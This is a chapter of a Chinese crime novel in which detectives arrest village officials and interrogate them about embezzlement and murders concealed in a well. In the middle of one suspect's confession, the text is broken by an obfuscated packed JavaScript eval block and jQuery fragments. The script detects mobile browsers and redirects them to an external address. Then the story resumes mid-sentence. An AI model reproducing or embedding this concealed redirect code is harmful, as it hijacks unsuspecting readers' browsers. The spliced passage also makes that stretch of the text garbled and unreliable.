48. 余温

作品:《她的求救,写在我的昨天

    下了车,蔡星澜和邓婉仪两个人还没来得及跟杨光辉他们说上话,市局的决定下来了。


    邓婉仪刚挂断电话,转身对众人低声道:“铮姐来电。基于井底发现的多具白骨和现已掌握的确凿账本证据,市局已与纪检委火速成立联合专案组,行动级别全面升级。一小时后,大部队抵达。这是根据星澜之前提供给雨欣的村内布局图拟定的抓捕方案—星澜、喻宇,你们负责最西侧的陈仁;杨哥和我,负责最南侧那片独院的向岩。其余目标,铮姐已另有安排。”


    “明白。”蔡星澜点头,目光锐利地扫过地图,“我们这就前往预定位置隐蔽,等待铮姐的最终指令。”


    杨光辉抓起外套,声音沉稳有力:“动作要快,务必在嫌疑人察觉、外逃或进一步销毁证据前,完成控制。注意安全。”


    时间一分一秒过去,在陈仁家外围阴影中的蔡星澜和喻宇,耐心等待着。直到耳机里传来潘铮清晰果断的命令:“各小组注意,抓捕行动,开始!”


    蔡星澜讯捷在前,喻宇紧随其后。两人默契地破开书房虚掩的门。屋内,陈仁正靠在藤椅上,对着电视机里咿咿呀呀的戏曲节目打拍子,手边还搁着半杯热茶,神态是多年养尊处优浸润出的“悠哉”。他甚至没抬眼,以为是家里人。


    “警察!别动!”喻宇一声低喝。


    陈仁脸上的惬意瞬间冻结,转为错愕。他下意识想起身,但蔡星澜的动作更快,一个箭步上前,左手按住他肩膀,右手干脆利落地反钳他的双手,“咔嚓”一声,冰凉的手铐锁死了腕子。


    陈仁被这突如其来的变故惊得浑身一僵,嘴唇动了动,却发不出声音。喻宇将他牢牢控制住,三人迅速离开宅院,上了远处悄无声息驶来的警车。整个行动发生在几十秒内,快得连院里的狗都没来得及叫唤。


    市局审讯室。


    陈仁被带了进来。坐定后,他脸上最初的慌乱已经压下去不少,换上了一副困惑又带着点委屈的神情,先发制人地对着主审的杨光辉开口:“杨警官,蔡警官,这……这是怎么回事?我一向遵纪守法,为村里办事兢兢业业,是不是有什么误会?”他试图动了下被铐住的手,金属碰撞发出轻微的声响。


    蔡星澜没说话,只是将一叠放大的凭证照片推到他面前,手指重重地点在那些被浓黑墨迹涂抹的关键位置。


    杨光辉目光如炬,声音带着不容置疑的压力:“陈仁,看看这些!你们以为毁掉了就一了百了?账目、资金流向,我们都已经查清了!现在还不想说实话吗?”


    陈仁的视线扫过照片,瞳孔几不可察地收缩了一下,肩膀微微塌了下去,那股强撑起来的气势泄了大半。出乎意料,他并没有顽固抵抗,反而像泄了气的皮球,语气里透出一股复杂的颓然和急于撇清:“……钱,那些钱,我一分都没敢乱花啊。真的!大部分……大部分都给了陈民,还有他儿子陈荣兴。我,我就是个过过手的,听吩咐办事……”


    “过手?”蔡星澜冷声追问,身体微微前倾,带来无形的压迫感,“那汪顺和陈慧芳呢?你们当年不是同学吗?为什么后来闹到那种地步?是不是他们发现了什么,你才下的毒手?”


    “同学……是啊,以前关系是挺好的。”陈仁抬起头,眼神有些飘忽,仿佛陷入了短暂的、与现状格格不入的回忆,又很快被现实的晦暗覆盖,“可回了村,一切都变了。刚开始,谁没点理想呢?我也想带着乡亲们干出点样子……可太难了。陈民他们那一套,在村里根深蒂固。我是姓陈,可光姓陈没用,得‘懂事’。汪顺和慧芳……他们太倔了,太不懂变通了。我们是为这个吵,为钱吵,为怎么做事吵……可人真不是我杀的!”他强调最后一句,声音里带着一丝不易察觉的颤抖。


    他的情绪激动起来,声音拔高,带着一种近乎执拗的辩解,不知是说给警察听,还是说给自己听:“他们要是早点像我一样,学会低头,学会看着点‘形势’,何必走到那一步?何必呢?!”审讯室陷入短暂的沉默,只能听到他粗重的呼吸和手铐链条轻微的晃动声。


    片刻后,陈仁被带离。走到门口时,他忽然停下脚步,回过头,没看任何人,目光空洞地望着雪白的墙壁,喃喃自语般问了一句,又像是在问自己,也像是在寻求最后一丝虚无缥缈的认同:“人活着……总比死了强,对吧?”


    另一间审讯室里,气氛截然不同。


    陈勇坐在椅子上,下意识地搓着手,指节因为用力而微微发白。他对着面前的邓婉仪和喻宇,努力挤出一个他惯常示人的、憨厚甚至有点木讷的笑容:“邓警官,喻警官,我这人脑子笨,你们让我交代……我交代啥呀?是不是有啥误会?”他眼神闪烁,试图捕捉对方脸上的任何松动。


    喻宇将现场提取到的、带有特殊痕迹的涂抹工具照片推过去,语气严厉:“还装?恶意销毁重要财务凭证证据!这上面的指纹、使用痕迹,技术科正在比对。陈勇,你以为涂黑了就万事大吉?现代技术恢复不了全部,但锁定是谁干的,不难!”


    陈勇脸上的笑容瞬间僵住,嘴角不自然地抽搐了一下,眼神开始慌乱地左右游移,额角渗出细密的汗珠,嘴上却还在强撑,声音低了下去:“不……不可能,你们别诈我……”


    邓婉仪和喻宇不再说话,只是用平静而极具压迫感的目光锁定他。


    终于,他扛不住了,整个人垮了下来,声音发颤,语速飞快:“我……我说!我都说!但、但那些事主要都不是我干的啊!汪顺……汪顺是向岩叔弄死的!那天向岩叔找汪顺喝酒,在酒里下了药,然后用……用准备好的鱼线,从后面勒的!我是后来被叫去帮忙,一起把……把人弄到井边的。我就搭了把手,真没动手!”他急切地想把自己从“杀人”的行为里摘出来。


    “陈慧芳呢?”邓婉仪抓住时机,立刻追问,目光紧紧锁住他。


    “慧芳姐……她、她好像是发现了陈民叔的一些旧账,直接找上门对质去了。具体怎么回事我也不清楚,只听说是争执的时候……失手了。后来,后来人就埋在他们家老院那棵槐树底下了……好多年了。”陈勇眼神躲闪,不敢与邓婉仪对视。


    “那井里其他的白骨,又是怎么回事?”喻宇沉声问,敲了敲桌面。


    陈勇猛地摇头,脸上露出真实的恐惧,身体往后缩了缩:“那都是更早以前的事了!陈民叔、向岩叔他们那辈人经手的!我那时候还没出生呢,真的什么都不知道!估计……估计也是些‘不听话’或者‘碍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156669|193854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事’的人吧……井里闹鬼的说法,也是从那时候慢慢传开的。”他最后这句话,声音低得几乎听不见。


    最后的审讯室。


    蔡星澜和杨光辉面对着向岩。这个老人头发花白,穿着洗得发白的旧夹克,坐在那里,神情平静。但就是这个看似普通甚至温和的老人,曾是汪顺和陈慧芳在村中少数能感到些许“安全”的“长辈”,却也是将他们拖入深渊的黑洞本身。


    没等蔡星澜他们开口,向岩抬起眼皮,目光平静地扫过两人,用年迈者特有的、慢条斯理却异常清晰的语调开了口,仿佛只是在陈述一个既定事实:“该知道的,你们应该都知道了。是吧?”他的语气里,没有慌乱,也没有挑衅,只有一种近乎冷漠的确认。


    “你们手上,到底有多少条人命?”杨光辉单刀直入。


    向岩微微偏头,像是在认真回忆一件无关紧要的琐事,又像是毫不在意,缓缓道:“一个……两个……三个?还是几个?年头太久,记不清了。太多了。”那口气,平淡得如同在说院子里曾经养过的、后来不知所踪的鸡鸭。


    “汪顺是怎么死的?详细过程。”蔡星澜紧盯着他,不放过他脸上任何一丝细微的变化。


    “哦,他啊。”向岩甚至几不可见地撇了下嘴,带着一种近乎轻蔑的“惋惜”,“太年轻,太天真。那天我请他喝酒,叙旧嘛。酒里加了点东西,他很快就晕乎了。然后,就用一根结实的鱼线,从后面……嗯。”


    他比划了一个勒紧的动作,细节清晰得残忍,“没什么痛苦。后来和陈勇一起,扔进了那口老井。那地方不错,安静,也没人敢去查。”他顿了顿,嘴角竟扯出一丝极淡的、令人毛骨悚然的弧度,“他居然还会相信我……居然还觉得能和我们斗。”话语里,是彻底将人命视作草芥的淡然。


    与此同时,法医实验室和后方信息中心也在高速运转。


    韩墨对井底捞出的白骨进行了初步检验和分类。结果显示,这些遗骨至少分属三个不同时期,死亡时间跨度可能长达二三十年。更令人心惊的是,这些时间点,恰好能与村中档案记载或口耳相传的、那些“中邪失足落井”或“莫名失踪”的村民记录大致吻合。


    齐雨欣根据韩墨提供的白骨时间范围,疯狂检索对应时期的全部村务档案、少得可怜的失踪报案记录,并交叉比对陈仁、向岩、陈民等人在那些关键时间节点的活动与职务变动。她发现,几乎每一次“失踪”或“意外”发生前后,都有项目资金异常流动或人事上的微妙变动。


    突破来自一个细微的物证。韩墨在其中一具相对较新的白骨指骨上,发现了一处特殊的陈旧性骨折畸形愈合痕迹,形态很特别。齐雨欣接到描述后,在浩浩荡荡的旧档案堆中,花了大量时间筛查,终于发现了一份多年前的村民纠纷调解记录。


    记录里提到,一位曾公开质疑村委账目问题、脾气耿直的村民,在与人“争执”时右手小指曾严重受伤,描述的特征与白骨上的痕迹高度吻合。而那份调解记录之后不久,该村民便“因心情抑郁,夜间醉酒外出,不幸落井身亡”。


    一口被恐惧和传说缠绕的古井,成为了滥用职权者眼中,随意终结他人生命、并让一切沉默的最好的避风港。